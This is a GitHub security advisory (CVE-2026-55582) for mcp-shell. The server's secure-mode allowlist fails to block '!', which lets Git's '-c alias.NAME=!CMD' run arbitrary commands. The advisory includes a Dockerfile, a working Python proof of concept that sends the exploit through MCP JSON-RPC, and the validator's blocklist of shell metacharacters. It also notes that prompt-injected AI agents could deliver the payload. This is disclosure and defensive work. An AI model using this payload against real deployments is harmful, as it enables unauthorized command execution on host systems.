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mcp-shell has a Secure Mode Allowlist Bypass via Git Shell Alias

High severity GitHub Reviewed Published Jun 14, 2026 in sonirico/mcp-shell • Updated Aug 25, 2026

Package

gomod github.com/sonirico/mcp-shell (Go)

Affected versions

< 0.6.0

Patched versions

0.6.0

Description

Summary

mcp-shell's "secure mode" is designed to restrict command execution to an allowlist of executables defined in security.yaml. The default configuration includes /usr/bin/git. The security validator in security.go blocks common shell metacharacters (|&;<>(){}[]$\``) but omits !, which is the prefix Git uses to execute shell aliases (alias.NAME=!CMD). An attacker who can invoke the shell_execMCP tool can pass/usr/bin/git -c alias.pwn=!as the command argument, bypassing all validation and achieving arbitrary OS command execution as themcp-shellprocess user. The default Docker image runs asmcpuser` (UID 1000) with Git installed and secure mode enabled, making this exploitable in the default deployment with no authentication required.

Details

The vulnerability is a classic OS Command Injection (CWE-78) in the shell_exec MCP tool handler. The data flow from attacker input to shell execution is:

  1. main.go:89-91 — The MCP tool schema exposes a required string parameter command with no server-side type constraints.
  2. main.go:102shell_exec is bound to shellHandler.handle.
  3. handler.go:34 — The handler reads the attacker-controlled value: command, err := request.RequireString("command").
  4. handler.go:49 — The command string is passed to h.validator.validateCommand(command).
  5. security.go:136containsShellMetacharacters checks for |&;<>(){}[]$\`` but !` is absent from the blocked set.
  6. security.go:147-149containsDangerousShellConstructs also does not include !.
  7. security.go:85-96/usr/bin/git matches AllowedExecutables; no per-argument policy exists for Git. The blocked_patterns list in security.yaml:35 is empty ([]).
  8. handler.go:59 — The fully validated (but unsafe) command is forwarded to h.executor.execute.
  9. executor.go:149-163parseCommand splits the string with strings.Fields; exec.CommandContext(ctx, executable, args...) is called with executable="/usr/bin/git" and args=["-c", "alias.pwn=!touch", "pwn", "/tmp/target"].
  10. executor.go:199cmd.Run() launches git. Git interprets -c alias.pwn=!touch as a runtime configuration entry, defining the alias pwn as the shell command touch. When Git resolves the subcommand pwn, it triggers the shell alias: sh -c 'touch "$@"' _ /tmp/target, creating the file.

The root cause is the missing ! in the metacharacter blocklist and the absence of any per-executable argument policy that would prevent Git's -c alias.*=! pattern.

Incriminated source locations:

  • security.go:136 — metacharacter set missing !
  • security.go:147-149containsDangerousShellConstructs missing !
  • security.yaml:27/usr/bin/git in allowed_executables
  • security.yaml:35blocked_patterns: []
  • executor.go:149-163,199 — direct exec.CommandContext invocation with unsanitized Git arguments

PoC

Prerequisites:

  • Docker installed and the mcp-shell-vuln-001 image built from the provided Dockerfile (repo root as build context, commit c30862f).
  • Python 3 to run poc.py.

Build the Docker image:

docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .

Run the PoC:

python3 vuln-001/poc.py

The script performs the full MCP JSON-RPC handshake over stdin and sends the following tools/call request:

{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "tools/call",
  "params": {
    "name": "shell_exec",
    "arguments": {
      "command": "/usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc",
      "base64": false
    }
  }
}

The container's /tmp is bind-mounted to a host temporary directory so the evidence file can be observed on the host without docker exec.

Expected result:

  • MCP response: {"status":"success","exit_code":0,"execution_time":"~3ms","security_info":{"security_enabled":true,...}}
  • Evidence file created at <host_tmp>/mcp-shell-mcp-poc with uid=1000 (mcpuser), confirming arbitrary shell command execution inside the container.

Validation bypass explanation:

Check Value tested Result
containsShellMetacharacters alias.pwn=!touch false! not in blocklist
containsDangerousShellConstructs alias.pwn=!touch false! not in blocklist
matchesExecutable /usr/bin/git true — in AllowedExecutables

All checks pass; git receives alias.pwn=!touch as a config entry and executes touch as a shell alias.

Impact

This is an OS Command Injection vulnerability (CWE-78). Any entity that can issue an MCP tools/call request to a mcp-shell instance running with the default Docker configuration can execute arbitrary OS commands as the mcpuser process account (UID 1000) inside the container.

The default Docker deployment sets MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml, installs git, and runs as mcpuser. The shell_exec tool requires no additional authentication beyond MCP connectivity. "Secure mode" is explicitly marketed as the mechanism preventing command injection; this bypass nullifies that protection entirely.

Impacted parties:

  • Users and operators who deploy the default mcp-shell Docker image and expose it to MCP clients (directly via stdio, or via an MCP bridge/proxy over the network).
  • AI agent systems that integrate mcp-shell as a tool provider, where a compromised or malicious LLM prompt could supply the exploit payload as the command argument.

Reproduction artifacts

Dockerfile

# VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias
# CWE-78: OS Command Injection
#
# This Dockerfile reproduces the exact default Docker deployment environment of
# sonirico/mcp-shell at commit c30862f that is affected by VULN-001.
#
# Vulnerability summary:
#   - security.yaml allows /usr/bin/git in allowed_executables
#   - The security validator (security.go) does not block '!' in arguments
#   - Git's '-c alias.NAME=!CMD' syntax executes CMD as a shell command
#   - This bypasses "secure mode" and achieves arbitrary command execution
#
# Build context must be the repo parent directory:
#   docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .

# Stage 1: Build the mcp-shell binary from the vulnerable source
FROM golang:1.25-alpine AS builder

RUN apk add --no-cache git ca-certificates

WORKDIR /src

# Download dependencies before copying source for better layer caching
COPY repo/go.mod repo/go.sum ./
RUN go mod download

# Copy and build the vulnerable source
COPY repo/*.go ./
RUN CGO_ENABLED=0 GOOS=linux go build \
    -ldflags "-s -w" \
    -o mcp-shell .

# Stage 2: Runtime environment matching the default mcp-shell Docker image
FROM alpine:3.22

# Install git — this is what the default Dockerfile does (apk add git),
# and it is what makes the exploit possible: /usr/bin/git is present and
# the security config allows it.
RUN apk add --no-cache bash git

# Create non-root user matching the default Docker image
RUN addgroup -g 1000 mcpuser && \
    adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser

# Install the mcp-shell binary
COPY --from=builder /src/mcp-shell /usr/local/bin/mcp-shell

# Install the default (vulnerable) security configuration.
# Key properties that enable the exploit:
#   allowed_executables includes /usr/bin/git
#   blocked_patterns is empty
#   security.go does not list '!' in blocked metacharacters
COPY repo/security.yaml /etc/mcp-shell/security.yaml

# Replicate the default environment variables from the repo Dockerfile
ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml
ENV MCP_SHELL_LOG_FORMAT=json
ENV PATH="/usr/local/bin:${PATH}"

USER mcpuser
WORKDIR /home/mcpuser

# mcp-shell reads JSON-RPC over stdin and writes responses to stdout
ENTRYPOINT ["mcp-shell"]

poc.py

#!/usr/bin/env python3
"""
Proof-of-Concept for VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias
Repository:  sonirico/mcp-shell (commit c30862f)
CWE-78:      OS Command Injection

Vulnerability:
    mcp-shell "secure mode" uses security.yaml to allowlist executables.
    The default config allows /usr/bin/git.  The security validator in
    security.go checks for metacharacters (|&;<>(){}[]$`\\) but does NOT
    include '!' in the blocked set.  Git's -c flag accepts runtime config
    overrides; setting 'alias.NAME=!CMD' defines a shell alias that runs
    CMD as a shell command when 'NAME' is used as a git subcommand.

Exploit payload (MCP tools/call -> shell_exec argument):
    /usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc

    Validation path (all checks pass):
      containsShellMetacharacters("alias.pwn=!touch")  -> False  (! not in set)
      containsDangerousShellConstructs("alias.pwn=!touch") -> False (! not in set)
      matchesExecutable("/usr/bin/git", "/usr/bin/git") -> True

    Execution path:
      exec.CommandContext(ctx, "/usr/bin/git",
          "-c", "alias.pwn=!touch", "pwn", "/tmp/mcp-shell-mcp-poc")
      -> git defines alias pwn = !touch
      -> git runs subcommand "pwn" -> triggers shell alias
      -> sh -c 'touch "$@"' _ /tmp/mcp-shell-mcp-poc
      -> file /tmp/mcp-shell-mcp-poc is created

Evidence method:
    The container's /tmp is bind-mounted to a host temporary directory.
    After the MCP call, verify the evidence file exists on the host.

Usage:
    # From the repo parent directory:
    docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .
    python3 vuln-001/poc.py
"""

import json
import os
import subprocess
import sys
import tempfile
import stat

IMAGE_NAME = "mcp-shell-vuln-001"
EVIDENCE_FILENAME = "mcp-shell-mcp-poc"
EXPLOIT_TARGET = f"/tmp/{EVIDENCE_FILENAME}"

# MCP JSON-RPC protocol requires:
#   1. initialize handshake (client -> server)
#   2. notifications/initialized acknowledgement
#   3. tools/call with the exploit payload
MCP_INITIALIZE = json.dumps({
    "jsonrpc": "2.0",
    "id": 1,
    "method": "initialize",
    "params": {
        "protocolVersion": "2024-11-05",
        "capabilities": {},
        "clientInfo": {"name": "vuln-001-poc", "version": "1.0.0"},
    },
})

MCP_INITIALIZED = json.dumps({
    "jsonrpc": "2.0",
    "method": "notifications/initialized",
})

# The malicious command:
#   /usr/bin/git    - allowed by security.yaml AllowedExecutables
#   -c alias.pwn=!touch  - git runtime config; ! prefix = shell alias
#                          NOT blocked: '!' absent from security.go metachars
#   pwn             - triggers the alias (git subcommand lookup)
#   /tmp/<file>     - argument forwarded to touch by git shell alias
MCP_EXPLOIT = json.dumps({
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/call",
    "params": {
        "name": "shell_exec",
        "arguments": {
            "command": f"/usr/bin/git -c alias.pwn=!touch pwn {EXPLOIT_TARGET}",
            "base64": False,
        },
    },
})


def run(args, **kwargs):
    print(f"[*] {' '.join(str(a) for a in args)}")
    return subprocess.run(args, **kwargs)


def parse_mcp_response(stdout_text):
    """Parse newline-delimited JSON-RPC responses, return the tools/call result."""
    for line in stdout_text.splitlines():
        line = line.strip()
        if not line:
            continue
        try:
            msg = json.loads(line)
            if msg.get("id") == 2:
                return msg
        except json.JSONDecodeError:
            pass
    return None


def main():
    print("=" * 62)
    print("VULN-001 PoC — mcp-shell Secure Mode Bypass via Git Alias")
    print("=" * 62)
    print()

    # Create a host-side temporary directory that will be bind-mounted
    # as /tmp inside the container.  This lets us observe file creation
    # caused by the git shell alias without needing 'docker exec'.
    host_tmp = tempfile.mkdtemp(prefix="mcp-vuln001-")
    # Allow UID 1000 (mcpuser inside the container) to write files here.
    os.chmod(host_tmp, 0o1777)
    evidence_host_path = os.path.join(host_tmp, EVIDENCE_FILENAME)

    print(f"[*] Host bind-mount (-> /tmp inside container): {host_tmp}")
    print(f"[*] Expected evidence file on host: {evidence_host_path}")
    print()
    print(f"[*] Exploit command (shell_exec argument):")
    print(f"      /usr/bin/git -c alias.pwn=!touch pwn {EXPLOIT_TARGET}")
    print()

    # Build the newline-delimited JSON-RPC payload sent over stdin.
    # mcp-shell reads one JSON object per line.
    payload_bytes = (
        MCP_INITIALIZE + "\n" +
        MCP_INITIALIZED + "\n" +
        MCP_EXPLOIT + "\n"
    ).encode()

    print("[*] Sending MCP JSON-RPC payload to container via stdin ...")
    try:
        proc = run(
            [
                "docker", "run",
                "--rm",            # Remove container on exit
                "-i",              # Keep stdin open for piped input
                "--network=none",  # No external network access (safety)
                "-v", f"{host_tmp}:/tmp",   # Expose container's /tmp on host
                IMAGE_NAME,
            ],
            input=payload_bytes,
            capture_output=True,
            timeout=40,
        )
    except subprocess.TimeoutExpired:
        print("[FAIL] docker run timed out after 40 seconds")
        sys.exit(1)
    except FileNotFoundError:
        print("[FAIL] 'docker' not found — install Docker to run this PoC")
        sys.exit(1)

    stdout = proc.stdout.decode(errors="replace")
    stderr = proc.stderr.decode(errors="replace")

    print()
    print("[*] Container stdout (MCP responses):")
    for line in stdout.splitlines():
        print(f"    {line}")

    if stderr.strip():
        print("[*] Container stderr:")
        for line in stderr.splitlines():
            print(f"    {line}")

    print()

    # Locate and pretty-print the tools/call MCP response.
    exploit_response = parse_mcp_response(stdout)
    if exploit_response:
        print("[*] MCP tools/call response (id=2):")
        print(json.dumps(exploit_response, indent=4))
        print()

    # --- Primary evidence check ---
    if os.path.exists(evidence_host_path):
        st = os.stat(evidence_host_path)
        print(f"[PASS] Evidence file found on host: {evidence_host_path}")
        print(f"       size={st.st_size}  mode={oct(st.st_mode)}  uid={st.st_uid}")
        print()
        print("[PASS] EXPLOIT SUCCESSFUL")
        print("       'touch /tmp/mcp-shell-mcp-poc' was executed INSIDE the container")
        print("       by the git shell alias, bypassing mcp-shell secure mode.")
        passed = True
        evidence = (
            f"File '{evidence_host_path}' created on host via /tmp volume mount. "
            f"size={st.st_size} uid={st.st_uid} mode={oct(st.st_mode)}. "
            f"MCP response: {json.dumps(exploit_response) if exploit_response else 'n/a'}"
        )
    else:
        print(f"[FAIL] Evidence file NOT found at: {evidence_host_path}")
        print("[FAIL] EXPLOIT FAILED")
        if exploit_response:
            result_content = exploit_response.get("result", {})
            print(f"       MCP result: {json.dumps(result_content)}")
        passed = False
        evidence = (
            f"Evidence file was not created. "
            f"stdout={stdout[:600]!r} stderr={stderr[:300]!r}"
        )

    print()
    return passed, evidence


if __name__ == "__main__":
    passed, evidence = main()
    sys.exit(0 if passed else 1)

References

@sonirico sonirico published to sonirico/mcp-shell Jun 14, 2026
Published to the GitHub Advisory Database Aug 25, 2026
Reviewed Aug 25, 2026
Last updated Aug 25, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2026-55582

GHSA ID

GHSA-74hp-mggr-hv58

Source code

Credits

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